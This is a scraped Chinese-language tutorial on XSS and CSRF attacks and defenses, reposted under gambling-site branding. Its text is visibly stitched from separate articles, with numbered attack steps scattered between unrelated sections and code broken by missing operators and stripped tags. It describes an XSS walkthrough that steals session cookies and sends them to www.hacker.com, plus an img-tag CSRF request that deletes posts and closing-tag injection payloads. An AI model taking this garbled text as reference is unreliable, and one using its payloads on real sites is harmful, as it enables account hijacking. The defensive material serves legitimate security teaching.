var unescape = function(html, options) { options = merge(options, decode.options); var strict = options.strict; if (strict && regexInvalidEntity.test(html)) { parseError('malformed character reference'); } return html.replace(regexDecode, function($0, $1, $2, $3, $4, $5, $6, $7) { var codePoint; var semicolon; var decDigits; var hexDigits; var reference; var next; if ($1) { // Decode decimal escapes, e.g. ``. decDigits = $1; semicolon = $2; if (strict && !semicolon) { parseError('character reference was not terminated by a semicolon'); } codePoint = parseInt(decDigits, 10); return codePointToSymbol(codePoint, strict); } if ($3) { // Decode hexadecimal escapes, e.g. ``. hexDigits = $3; semicolon = $4; if (strict && !semicolon) { parseError('character reference was not terminated by a semicolon'); } codePoint = parseInt(hexDigits, 16); return codePointToSymbol(codePoint, strict); } if ($5) { // Decode named character references with trailing `;`, e.g. `©`. reference = $5; if (has(decodeMap, reference)) { return decodeMap[reference]; } else { // Ambiguous ampersand. if (strict) { parseError( 'named character reference was not terminated by a semicolon' ); } return $0; } } // If we’re still here, it’s a legacy reference for sure. No need for an // extra `if` check. // Decode named character references without trailing `;`, e.g. `&` // This is only a parse error if it gets converted to `&`, or if it is // followed by `=` in an attribute context. reference = $6; next = $7; if (next && options.isAttributeValue) { if (strict && next == '=') { parseError('`&` did not start a character reference'); } return $0; } else { if (strict) { parseError( 'named character reference was not terminated by a semicolon' ); } // Note: there is no need to check `has(decodeMapLegacy, reference)`. return decodeMapLegacy[reference]

  • (next || ''); } }); };
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
var unescape = function(html, options) {
            options = merge(options, decode.options);
            var strict = options.strict;
            if (strict && regexInvalidEntity.test(html)) {
                parseError('malformed character reference');
            }
            return html.replace(regexDecode, function($0, $1, $2, $3, $4, $5, $6, $7) {
                var codePoint;
                var semicolon;
                var decDigits;
                var hexDigits;
                var reference;
                var next;
                if ($1) {
                    // Decode decimal escapes, e.g. ``.
                    decDigits = $1;
                    semicolon = $2;
                    if (strict && !semicolon) {
                        parseError('character reference was not terminated by a semicolon');
                    }
                    codePoint = parseInt(decDigits, 10);
                    return codePointToSymbol(codePoint, strict);
                }
                if ($3) {
                    // Decode hexadecimal escapes, e.g. ``.
                    hexDigits = $3;
                    semicolon = $4;
                    if (strict && !semicolon) {
                        parseError('character reference was not terminated by a semicolon');
                    }
                    codePoint = parseInt(hexDigits, 16);
                    return codePointToSymbol(codePoint, strict);
                }
                if ($5) {
                    // Decode named character references with trailing `;`, e.g. `©`.
                    reference = $5;
                    if (has(decodeMap, reference)) {
                        return decodeMap[reference];
                    } else {
                        // Ambiguous ampersand. https://mths.be/notes/ambiguous-ampersands
                        if (strict) {
                            parseError(
                                'named character reference was not terminated by a semicolon'
                            );
                        }
                        return $0;
                    }
                }
                // If we’re still here, it’s a legacy reference for sure. No need for an
                // extra `if` check.
                // Decode named character references without trailing `;`, e.g. `&amp`
                // This is only a parse error if it gets converted to `&`, or if it is
                // followed by `=` in an attribute context.
                reference = $6;
                next = $7;
                if (next && options.isAttributeValue) {
                    if (strict && next == '=') {
                        parseError('`&` did not start a character reference');
                    }
                    return $0;
                } else {
                    if (strict) {
                        parseError(
                            'named character reference was not terminated by a semicolon'
                        );
                    }
                    // Note: there is no need to check `has(decodeMapLegacy, reference)`.
                    return decodeMapLegacy[reference] (next || '');
                }
            });
        };
  • DOM Parse和过滤

JavaScript

var parse=function(str){ var results=''; try { HTMLParser(str,{ start:function(tag,attrs,unary){ if(tag=='script' || tag=='style'|| tag=='img'|| tag=='link'){ return } results =""; }, end:function(tag){ results ="" tag ">"; }, chars:function(text){ results =text; }, comment:function(){ results ="'; } }) return results; } catch (e) { } finally { } }; var dst=parse(str);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var parse=function(str){  
    var results='';
    try {
        HTMLParser(str,{
            start:function(tag,attrs,unary){
                if(tag=='script' || tag=='style'|| tag=='img'|| tag=='link'){
                    return
                }
                results ="";
            },
            end:function(tag){
                results ="" tag ">";
            },
            chars:function(text){
                results =text;
            },
            comment:function(){
                results ="';
            }
        })
        return results;
    } catch (e) {
 
    } finally {
 
    }
};
 
    var dst=parse(str);

在此展示了部分代码,其中DOM Parse可以采用第三方的Js库来完成。

攻击者使用 XSS 反射型漏洞盗取管理员 cookie 步骤。

遵循标准的GET动作

只允许GET请求检索数据,但是不允许它修改服务器上的任何数据。这个修改可以防止利用{img}标签或者其它的类型的GET请求的CSRF攻击。另外,这个建议遵循RFC 2616(HTTP/1.1):具体说来,按照约定,GET和HEAD方法不应该进行检索之外的动作。这些方法应该被认为是“安全的”。虽然这个保护措施无法阻止CSRF本身,因 为攻击者可以使用POST请求,但是它却可以与(2)结合来全面防止CSRF漏洞。这里,我们假定对手无法修改用户的cookie。

CSRF

CSRF,即 Cross Site Request Forgery,中译是跨站请求伪造,是一种劫持受信任用户向服务器发送非预期请求的攻击方式。

通常情况下,CSRF 攻击是攻击者借助受害者的 Cookie 骗取服务器的信任,可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击服务器,从而在并未授权的情况下执行在权限保护之下的操作。

在举例子之前,先说说浏览器的 Cookie 策略。

XSS的危害

相信大家都对XSS了有一定的了解,下面列举几个XSS影响比较大的事件供参考,做到警钟长鸣。

  • 微博遭受攻击案例2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击。此事件给严重依赖社交网络的网友们敲响了警钟。在此之前,国内多家著名的SNS网站和大型博客网站都曾遭遇过类似的攻击事件,只不过没有形成如此大规模传播。虽然此次XSS蠕虫攻击事 件中,恶意黑客攻击者并没有在恶意脚本中植入挂马代码或其他窃取用户账号密码信息的脚本,但是这至少说明,病毒木马等黑色产业已经将眼光投放到这个尚存漏洞的领域。
  • 猫扑遭受攻击案例曾经在猫扑大杂烩中存在这样一个XSS漏洞,在用户发表回复的时候,程序对用户发表的内容做了严格的过滤,但是我不知道为什么,当用户编辑回复内容再次发表的时候,他却采用了另外一种不同的过滤方式,而这种过滤方式显然是不严密的,因此导致了XSS漏洞的出现。试想一下,像猫扑这样的大型社区,如果在一篇热帖中,利用XSS漏洞来使所有的浏览这篇帖子的用户都在不知不觉之中访问到了另外一个站点,如果这个站点同样是大型站点还好,但如果是中小型站点那就悲剧了,这将会引来多大的流量啊!更可怕的是,这些流量全部都是真实有效的!

如果本文有描述不准确或错误,欢迎大家指正……,不胜感激。

1 赞 3 收藏 评论

澳门新萄京官方网站 12

1:用户小 a 正在上 www.abc.com 论坛看帖子。

为页面增加随机数

当用户访问站点时,该站点应该生成一个(密码上很强壮的)伪随机值,并在用户的计算机上将其设为cookie。站点应该要求每个表单都包含该伪随机 值(作为表单值和cookie值)。当一个POST请求被发给站点时,只有表单值和cookie值相同时,该请求才会被认为是有效的。当攻击者以一个用户的名义提交表单时,他只能修改该表单的值。攻击者不能读取任何发自该服务器的数据或者修改cookie值,这是同源策略的缘故。 这意味着,虽然攻击者可以用表单发送任何他想要的值,但是他却不能修改或者读取存储在该cookie中的值。因为cookie值和表单值必须是相同的,所 以除非攻击者能猜出该伪随机值,否则他就无法成功地提交表单。以PHP为例,我们可以在服务端首先生成随机数:

PHP

 <?php     //构造加密的Cookie信息     $value = “DefenseSCRF”;     setcookie(”cookie”, $value, time() 3600);   ?>

1
2
3
4
5
 <?php
    //构造加密的Cookie信息
    $value = “DefenseSCRF”;
    setcookie(”cookie”, $value, time() 3600);
  ?>

在表单里增加Hash值,以认证这确实是用户发送的请求。

PHP

<?php     $hash = md5($_COOKIE['cookie']);   ?>   <form method=”POST” action=”transfer.php”>     <input type=”text” name=”toBankId”>     <input type=”text” name=”money”>     <input type=”hidden” name=”hash” value=”<?=$hash;?>”>     <input type=”submit” name=”submit” value=”Submit”>   </form>

1
2
3
4
5
6
7
8
9
<?php
    $hash = md5($_COOKIE['cookie']);
  ?>
  <form method=”POST” action=”transfer.php”>
    <input type=”text” name=”toBankId”>
    <input type=”text” name=”money”>
    <input type=”hidden” name=”hash” value=”<?=$hash;?>”>
    <input type=”submit” name=”submit” value=”Submit”>
  </form>

然后在服务器端进行Hash值验证:

PHP

<?php    if(isset($_POST['check'])) {    $hash = md5($_COOKIE['cookie']);    if($_POST['check'] == $hash) {    doJob();    } else {         //...    }    } else {       //...    } ?>

1
2
3
4
5
6
7
8
9
10
11
12
      <?php
        if(isset($_POST['check'])) {
             $hash = md5($_COOKIE['cookie']);
             if($_POST['check'] == $hash) {
                  doJob();
             } else {
        //...
             }
        } else {
      //...
        }
      ?>

当然,我们也可以强制要求用户进行任何增删改的操作时都需要输入验证码,即进行用户交互,不过这样也就意味着很差的用户体验。

浏览器的 Cookie 策略

Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。Cookie 主要用于以下三个方面:

  • 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
  • 个性化设置(如用户自定义设置、主题等)

而浏览器所持有的 Cookie 分为两种:

  • Session Cookie(会话期 Cookie):会话期 Cookie 是最简单的Cookie,它不需要指定过期时间(Expires)或者有效期(Max-Age),它仅在会话期内有效,浏览器关闭之后它会被自动删除。
  • Permanent Cookie(持久性 Cookie):与会话期 Cookie 不同的是,持久性 Cookie 可以指定一个特定的过期时间(Expires)或有效期(Max-Age)。

res.setHeader('Set-Cookie', ['mycookie=222', 'test=3333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);

1
res.setHeader('Set-Cookie', ['mycookie=222', 'test=3333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);

上述代码创建了两个 Cookie:mycookietest,前者属于会话期 Cookie,后者则属于持久性 Cookie。当我们去查看 Cookie 相关的属性时,不同的浏览器对会话期 Cookie 的 Expires 属性值会不一样:

Firefox:

澳门新萄京官方网站 13

Chrome:

澳门新萄京官方网站 14

此外,每个 Cookie 都会有与之关联的域,这个域的范围一般通过 donmain 属性指定。如果 Cookie 的域和页面的域相同,那么我们称这个 Cookie 为第一方 Cookie(first-party cookie),如果 Cookie 的域和页面的域不同,则称之为第三方 Cookie(third-party cookie)。一个页面包含图片或存放在其他域上的资源(如图片)时,第一方的 Cookie 也只会发送给设置它们的服务器。

2:攻击者发现 www.abc.com/xss.php 存在反射型漏洞,然后精心构造 JS 代码,此代码可以 盗取用户 cookie 发送到指定站点 www.hacker.com

客户端防御

由于使攻击者成功地执行CSRF攻击的请求是由浏览器发出的,所以可以创建客户端工具来保护用户不受此种攻击。现有的工具RequestRodeo 通过在客户和服务器之间充当代理来防止CSRF攻击。如果RequestRodeo发现了一个它认为是非法的请求,它会从该请求剥离验证信息。虽然这种方 式在很多情况下都能有效,但是它具有一些局限性。具体地说,当客户端使用了SSL认证或者使用JavaScript生成部分页面(因为 RequestRodeo分析的是在浏览器显示之前的流经代理的那些数据)时,它就不起作用了。 人们已经开发了一个浏览器插件,不仅可以使用户可以免受某些类型的CSRF攻击,并且还能克服以上所述的局限性,这个工具是作为Firefox浏览器的扩 展实现的,其地址是˜wzeller/csrf/protector/。 为了有效地防范CSRF攻击,用户需要下载安装这个扩展。该扩展会拦截所有的HTTP请求,并判断是否允许该HTTP请求。这个判断要用到下列规则。首 先,POST请求之外的任何要求都是允许的。第二,如果发出请求的站点和目标站点符合同源策略的要求,那么该请求被允许。第三,如果发出请求的站点被允许 使用Adobe的跨域政策来建立一个请求的话,那么该请求也会被允许。如果我们的扩展拒绝一个请求,该扩展会通过一个常见的界面来提示用户(即 Firefox所使用的popup blocker)该请求已经被阻止,并且让用户选择是否将站点添加到一个白名单中。
该扩展仅仅拦截POST请求。这意味着,它无法保护用户免受使用GET请求的CSRF攻击 阻止这种类型的攻击的唯一方法是不允许任何跨域GET请求,或只允许用户一次只能登录到一个站点,但是这两个限制可能是用户无法忍受的。

1 赞 2 收藏 评论

澳门新萄京官方网站 15

通过 Cookie 进行 CSRF 攻击

假设有一个 bbs 站点:http://www.c.com,当登录后的用户发起如下 GET 请求时,会删除 ID 指定的帖子:

1
http://www.c.com:8002/content/delete/:id

如发起 http://www.c.com:8002/content/delete/87343 请求时,会删除 id 为 87343 的帖子。当用户登录之后,会设置如下 cookie:

res.setHeader('Set-Cookie', ['user=22333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);

1
res.setHeader('Set-Cookie', ['user=22333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);

澳门新萄京官方网站 16

user 对应的值是用户 ID。然后构造一个页面 A:

CSRF 攻击者准备的网站:

<p>CSRF 攻击者准备的网站:</p> <img src=";

1
2
<p>CSRF 攻击者准备的网站:</p>
<img src="http://www.c.com:8002/content/delete/87343">

页面 A 使用了一个 img 标签,其地址指向了删除用户帖子的链接:

澳门新萄京官方网站 17

可以看到,当登录用户访问攻击者的网站时,会向 www.c.com 发起一个删除用户帖子的请求。此时若用户在切换到 www.c.com 的帖子页面刷新,会发现ID 为 87343 的帖子已经被删除。

由于 Cookie 中包含了用户的认证信息,当用户访问攻击者准备的攻击环境时,攻击者就可以对服务器发起 CSRF 攻击。在这个攻击过程中,攻击者借助受害者的 Cookie 骗取服务器的信任,但并不能拿到 Cookie,也看不到 Cookie 的内容。而对于服务器返回的结果,由于浏览器同源策略的限制,攻击者也无法进行解析。因此,攻击者无法从返回的结果中得到任何东西,他所能做的就是给服务器发送请求,以执行请求中所描述的命令,在服务器端直接改变数据的值,而非窃取服务器中的数据。

但若 CSRF 攻击的目标并不需要使用 Cookie,则也不必顾虑浏览器的 Cookie 策略了。

3:攻击者将带有反射型 XSS 漏洞的 URL 通过站内短信发给用户小 a,标题为引起小 a 好奇 心的内容,目的是为了让用户小 a 单击链接。

CSRF 攻击的防范

当前,对 CSRF 攻击的防范措施主要有如下几种方式。

4:假设用户小 a 单击了带有 xss 漏洞的 url,会把自己的 cookie 发送到网站 www.hacker.com

验证码

验证码被认为是对抗 CSRF 攻击最简洁而有效的防御方法。

从上述示例中可以看出,CSRF 攻击往往是在用户不知情的情况下构造了网络请求。而验证码会强制用户必须与应用进行交互,才能完成最终请求。因为通常情况下,验证码能够很好地遏制 CSRF 攻击。

但验证码并不是万能的,因为出于用户考虑,不能给网站所有的操作都加上验证码。因此,验证码只能作为防御 CSRF 的一种辅助手段,而不能作为最主要的解决方案。

5:攻击者接受到用户小 a 的 会话 cookie,利用 cookie 以小 a 的身份登录 www.abc.com 从 而劫持小 a 的登录网站凭据进行其它攻击。

Referer Check

根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。通过 Referer Check,可以检查请求是否来自合法的”源”。

比如,如果用户要删除自己的帖子,那么先要登录 www.c.com,然后找到对应的页面,发起删除帖子的请求。此时,Referer 的值是 http://www.c.com;当请求是从 www.a.com 发起时,Referer 的值是 http://www.a.com 了。因此,要防御 CSRF 攻击,只需要对于每一个删帖请求验证其 Referer 值,如果是以 www.c.com 开头的域名,则说明该请求是来自网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是 CSRF 攻击,可以拒绝该请求。

针对上文的例子,可以在服务端增加如下代码:

if (req.headers.referer !== '') { res.write('csrf 攻击'); return; }

1
2
3
4
if (req.headers.referer !== 'http://www.c.com:8002/') {
    res.write('csrf 攻击');
    return;
}

澳门新萄京官方网站 18

Referer Check 不仅能防范 CSRF 攻击,另一个应用场景是 “防止图片盗链”。

存储型 XSS  存储型 XSS 又被称为持久性 XSS,是最危险的一种跨站脚本。  允许用户存储数据的 Web 应用都可能出现存储型 XSS 漏洞,当攻击者提交一段 XSS 代码后,被服务端接受并存储,当攻击者再次访问某个页面时,这段 XSS 代码被程序输出到浏 览器造成 XSS 跨站代码攻击,这就是存储型 XSS。  存储型 XSS 与反射型 XSS、DOM 型 XSS 相比,具有更高隐蔽性,危害性也更大,它们最 大区别在于反射型 XSS 与 DOM 型 XSS 执行都必须依靠用户手动去触发,而存储型 XSS 不需 要。另外反射型 XSS 由于默认 IE 8 及以上浏览器,其它现代浏览器例如 chrome,firefox 等 默认已经开启拦截反射型 xss 漏洞,并且随着浏览器补丁不断升级,也修复了绝大多数绕过 代码。以下是 IE 浏览器防护反射型 XSS 漏洞选项:    以下是一个常见存储型 XSS 场景示例:  在测试是否存在 XSS 时,首选要确定输入点与输出点,例如,我们要在留言内容上测试 XSS 漏洞,首先要寻找留言内容输出(显示)的地方在标签内还是在标签属性内,或者其它 地方,如果输出的数据在属性内,那么 XSS 代码是不会被执行的。如:alert(1)” /> 以上 JS 代码虽然成功插入到了 HTML 中,但却无法执行,因为 XSS 代码出现在 Value 属 性中,被当做值来处理,最终浏览器解析 HTML 时,会把数据以文本的形式输出在网页中。 知道了输出点后,可以根据相应标签构造 HTML 代码来闭合,插入 XSS 代码为 “/>alert(1)”,最终在 HTML 文档中为:alert(1)” /> 这样就可以闭合 input 标签,使输出的内容不在 Value 属性中,从而造成 XSS 漏洞。  知道了最基本的测试原理后,下面看看具体的存储型漏洞  1:添加正常留言,昵称为 xxser,留言内容为“HelloWord”,查看前端源代码

添加 token 验证

CSRF 攻击之所以能够成功,是因为攻击者可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 Cookie 中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的 Cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入攻击者所不能伪造的信息,并且该信息不存在于 Cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

xxserHello World2016-10-11 11:27:38

总结

本文主要介绍了 XSS 和 CSRF 的攻击原理和防御措施。当然,在 Web 安全领域,除了这两种常见的攻击方式,也存在这 SQL 注入等其它攻击方式,这不在本文的讨论范围之内,如果你对其感兴趣,可以阅读SQL注入技术专题的专栏详细了解相关信息。最后,总结一下 XSS 攻击和 CSRF 攻击的常见防御措施:

  1. 防御 XSS 攻击
    • HttpOnly 防止劫取 Cookie
    • 用户的输入检查
    • 服务端的输出检查
  2. 防御 CSRF 攻击
    • 验证码
    • Referer Check
    • Token 验证

<完>

2:如果现实区域不在 HTML 属性内,则可以直接用 XSS 代码注入。如果不能确定输出具体 位置,可以用模糊测试方案,代码如下:alert(/stored xss/)普通注入  "/>alert(/stored xss/)闭合标签注入  '">alert(/stored xss/)闭合标签注入  盗取 cookie 的 js 代码后,重新加载留言页面,XSS 代码被浏览器执行。    攻击者将带有 XSS 代码的留言提交到数据库,当用户查看这段留言时,浏览器会把代码认为 正常的 JavaScript 代码来执行。所以,存储型 XSS 具有更高的隐蔽性

参考资料

  • Cross-site scripting
  • CSRF 攻击的应对之道
  • 《白帽子讲 Web 安全》

    1 赞 收藏 评论

澳门新萄京官方网站 19

检测 XSS

手工检测:

① 可得知输出位置 输入一些敏感字符,例如“<、>、”、’、()”等,在提交后查看 HTML 源代码,看这些 输入的字符是否被转义。在输出这些敏感字符时,很有可能程序已经做了过滤,这样在寻找这些字符时就不 太容易,这时可以输入“AAA<>”’&”字符串,然后在查找源代码时直接查找 AAA 比较 方便。

② 无法得知输出位置 很多 Web 程序源码是不公开的,这时在测试 XSS 时就可能无法得知输入数据到底在什 么地方显示,比如测试留言吧是否存在 XSS,在留言后,可能需要经过管理员审核才能显 示,这种情况无法知道数据在后台管理页面处于何种状态,例如:  在

标签中:

XSS Test

在标签中:对这种情况通常会输入“”/> xss test”来测试。

2:工具检测

使用 Appscan,Burp Suite 或浏览器 Web 渗透插件 hackbar 等均可。

工具的局限性在于如果提交测试代码输入框需要输入验证码或者短信,工具是无法识别 各类验证码而顺利提交攻击代码的。

修复漏洞

cookie 设置HTTPonly

setcookie($name, $value, $expire, $path, $domain, $secure, TRUE)     //>=5.2

 header ("Set-Cookie: hidden=value; httponly", false);

/* ≤ PHP 5.1 */

第二种,一个函数搞定

htmlspecialchars($html);

本文由澳门新萄京官方网站发布于澳门新萄京赌场网址,转载请注明出处:澳门新萄京官方网站:详整与进攻和防守实战,

关键词: